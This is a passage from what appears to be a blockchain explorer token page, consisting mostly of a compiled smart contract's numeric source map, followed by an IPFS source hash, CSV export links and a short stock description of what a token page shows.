-1:-1;;14094:67:0;;14005:168:::1;14206:13;;14188:15;:31;14185:449;;;14240:10;::::0;:217:::1;::::0;-1:-1:-1;;;14240:217:0;;-1:-1:-1;;;;;14240:10:0;;::::1;::::0;:61:::1;::::0;:217:::1;::::0;14320:13;;14240:10:::1;::::0;14372:4;;14403::::1;::::0;14427:15:::1;::::0;14240:217:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;14236:272;;14486:7;;;14236:272;14586:10;::::0;:36:::1;::::0;14550:21:::1;::::0;-1:-1:-1;;;;;14586:10:0::1;::::0;:36;::::1;;;::::0;14550:21;;14524:23:::1;14586:36:::0;14524:23;14586:36;14550:21;14586:10;:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14221:413;14185:449;13859:782;8280:1;-1:-1:-1::0;;8292:6:0;:14;;-1:-1:-1;;;;8292:14:0;;;13769:872::o;12862:899::-;12948:7;12970:11;13024;;13011:10;;:24;;;;:::i;:::-;12996:12;:39;12992:174;;;-1:-1:-1;7565:2:0;12992:174;;;-1:-1:-1;7468:1:0;13128:26;;;;-1:-1:-1;7518:1:0;13128:26;13182:3;13189:1;13182:8;13178:28;;13200:6;13193:13;;;;;13178:28;13220:17;7616:3;13240:12;13249:3;13240:6;:12;:::i;:::-;:30;;;;:::i;:::-;13220:50;-1:-1:-1;13285:13:0;;13281:437;;13315:18;7718:3;13336:16;13315:18;13336:6;:16;:::i;:::-;:34;;;;:::i;:::-;13401:4;13385:22;;;;:7;:22;;;;;:35;;13315:55;;-1:-1:-1;13411:9:0;;13385:22;;;:35;;13411:9;;13385:35;:::i;:::-;;;;-1:-1:-1;;13440:40:0;;368:25:1;;;13463:4:0;;-1:-1:-1;;;;;13440:40:0;;;-1:-1:-1;;;;;;;;;;;13440:40:0;356:2:1;341:18;13440:40:0;;;;;;;13500:14;;13497:210;;13551:4;13535:22;;;;:7;:22;;;;;:36;;13561:10;;13535:22;:36;;13561:10;;13535:36;:::i;:::-;;;;-1:-1:-1;;8007:42:0;13590:22;;;;:7;:22;;;:36;;13616:10;;13590:22;:36;;13616:10;;13590:36;:::i;:::-;;;;-1:-1:-1;;13650:41:0;;368:25:1;;;8007:42:0;;13667:4;;-1:-1:-1;;;;;;;;;;;13650:41:0;356:2:1;341:18;13650:41:0;;;;;;;13497:210;13300:418;13281:437;13735:18;13744:9;13735:6;:18;:::i;:::-;13728:25;12862:899;-1:-1:-1;;;;;;12862:899:0:o;938:224::-;1058:7;1094:12;1086:6;;;;1078:29;;;;-1:-1:-1;;;1078:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1118:9:0;1130:5;1134:1;1130;:5;:::i;:::-;1118:17;938:224;-1:-1:-1;;;;;938:224:0:o;607:179::-;665:7;;697:5;701:1;697;:5;:::i;:::-;685:17;;726:1;721;:6;;713:46;;;;-1:-1:-1;;;713:46:0;;13431:2:1;713:46:0;;;13413:21:1;13470:2;13450:18;;;13443:30;13509:29;13489:18;;;13482:57;13556:18;;713:46:0;13229:351:1;404:548;516:4;545:2;574;563:9;556:21;606:6;600:13;649:6;644:2;633:9;629:18;622:34;674:1;684:140;698:6;695:1;692:13;684:140;;;793:14;;;789:23;;783:30;759:17;;;778:2;755:26;748:66;713:10;;684:140;;;688:3;873:1;868:2;859:6;848:9;844:22;840:31;833:42;943:2;936;932:7;927:2;919:6;915:15;911:29;900:9;896:45;892:54;884:62;;;;404:548;;;;:::o;957:131::-;-1:-1:-1;;;;;1032:31:1;;1022:42;;1012:70;;1078:1;1075;1068:12;1093:315;1161:6;1169;1222:2;1210:9;1201:7;1197:23;1193:32;1190:52;;;1238:1;1235;1228:12;1190:52;1277:9;1264:23;1296:31;1321:5;1296:31;:::i;:::-;1346:5;1398:2;1383:18;;;;1370:32;;-1:-1:-1;;;1093:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2255:180::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;-1:-1:-1;2406:23:1;;2255:180;-1:-1:-1;2255:180:1:o;2440:247::-;2499:6;2552:2;2540:9;2531:7;2527:23;2523:32;2520:52;;;2568:1;2565;2558:12;2520:52;2607:9;2594:23;2626:31;2651:5;2626:31;:::i;2917:388::-;2985:6;2993;3046:2;3034:9;3025:7;3021:23;3017:32;3014:52;;;3062:1;3059;3052:12;3014:52;3101:9;3088:23;3120:31;3145:5;3120:31;:::i;:::-;3170:5;-1:-1:-1;3227:2:1;3212:18;;3199:32;3240:33;3199:32;3240:33;:::i;:::-;3292:7;3282:17;;;2917:388;;;;;:::o;3310:127::-;3371:10;3366:3;3362:20;3359:1;3352:31;3402:4;3399:1;3392:15;3426:4;3423:1;3416:15;3442:128;3509:9;;;3530:11;;;3527:37;;;3544:18;;:::i;3575:356::-;3777:2;3759:21;;;3796:18;;;3789:30;3855:34;3850:2;3835:18;;3828:62;3922:2;3907:18;;3575:356::o;5345:251::-;5415:6;5468:2;5456:9;5447:7;5443:23;5439:32;5436:52;;;5484:1;5481;5474:12;5436:52;5516:9;5510:16;5535:31;5560:5;5535:31;:::i;6522:306::-;6610:6;6618;6626;6679:2;6667:9;6658:7;6654:23;6650:32;6647:52;;;6695:1;6692;6685:12;6647:52;6724:9;6718:16;6708:26;;6774:2;6763:9;6759:18;6753:25;6743:35;;6818:2;6807:9;6803:18;6797:25;6787:35;;6522:306;;;;;:::o;7112:277::-;7179:6;7232:2;7220:9;7211:7;7207:23;7203:32;7200:52;;;7248:1;7245;7238:12;7200:52;7280:9;7274:16;7333:5;7326:13;7319:21;7312:5;7309:32;7299:60;;7355:1;7352;7345:12;9720:422;9809:1;9852:5;9809:1;9866:270;9887:7;9877:8;9874:21;9866:270;;;9946:4;9942:1;9938:6;9934:17;9928:4;9925:27;9922:53;;;9955:18;;:::i;:::-;10005:7;9995:8;9991:22;9988:55;;;10025:16;;;;9988:55;10104:22;;;;10064:15;;;;9866:270;;;9870:3;9720:422;;;;;:::o;10147:806::-;10196:5;10226:8;10216:80;;-1:-1:-1;10267:1:1;10281:5;;10216:80;10315:4;10305:76;;-1:-1:-1;10352:1:1;10366:5;;10305:76;10397:4;10415:1;10410:59;;;;10483:1;10478:130;;;;10390:218;;10410:59;10440:1;10431:10;;10454:5;;;10478:130;10515:3;10505:8;10502:17;10499:43;;;10522:18;;:::i;:::-;-1:-1:-1;;10578:1:1;10564:16;;10593:5;;10390:218;;10692:2;10682:8;10679:16;10673:3;10667:4;10664:13;10660:36;10654:2;10644:8;10641:16;10636:2;10630:4;10627:12;10623:35;10620:77;10617:159;;;-1:-1:-1;10729:19:1;;;10761:5;;10617:159;10808:34;10833:8;10827:4;10808:34;:::i;:::-;10878:6;10874:1;10870:6;10866:19;10857:7;10854:32;10851:58;;;10889:18;;:::i;:::-;10927:20;;10147:806;-1:-1:-1;;;10147:806:1:o;10958:140::-;11016:5;11045:47;11086:4;11076:8;11072:19;11066:4;11045:47;:::i;11103:168::-;11176:9;;;11207;;11224:15;;;11218:22;;11204:37;11194:71;;11245:18;;:::i;11276:125::-;11341:9;;;11362:10;;;11359:36;;;11375:18;;:::i;11890:127::-;11951:10;11946:3;11942:20;11939:1;11932:31;11982:4;11979:1;11972:15;12006:4;12003:1;11996:15;12022:980;12284:4;12332:3;12321:9;12317:19;12363:6;12352:9;12345:25;12389:2;12427:6;12422:2;12411:9;12407:18;12400:34;12470:3;12465:2;12454:9;12450:18;12443:31;12494:6;12529;12523:13;12560:6;12552;12545:22;12598:3;12587:9;12583:19;12576:26;;12637:2;12629:6;12625:15;12611:29;;12658:1;12668:195;12682:6;12679:1;12676:13;12668:195;;;12747:13;;-1:-1:-1;;;;;12743:39:1;12731:52;;12838:15;;;;12803:12;;;;12779:1;12697:9;12668:195;;;-1:-1:-1;;;;;;;12919:32:1;;;;12914:2;12899:18;;12892:60;-1:-1:-1;;;12983:3:1;12968:19;12961:35;12880:3;12022:980;-1:-1:-1;;;12022:980:1:o;13007:217::-;13047:1;13073;13063:132;;13117:10;13112:3;13108:20;13105:1;13098:31;13152:4;13149:1;13142:15;13180:4;13177:1;13170:15;13063:132;-1:-1:-1;13209:9:1;;13007:217::o

Swarm Source

ipfs://3f6e80ed2723772567bb07bfc4bb78517c542af963d68ca8fce17bffc2071317
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.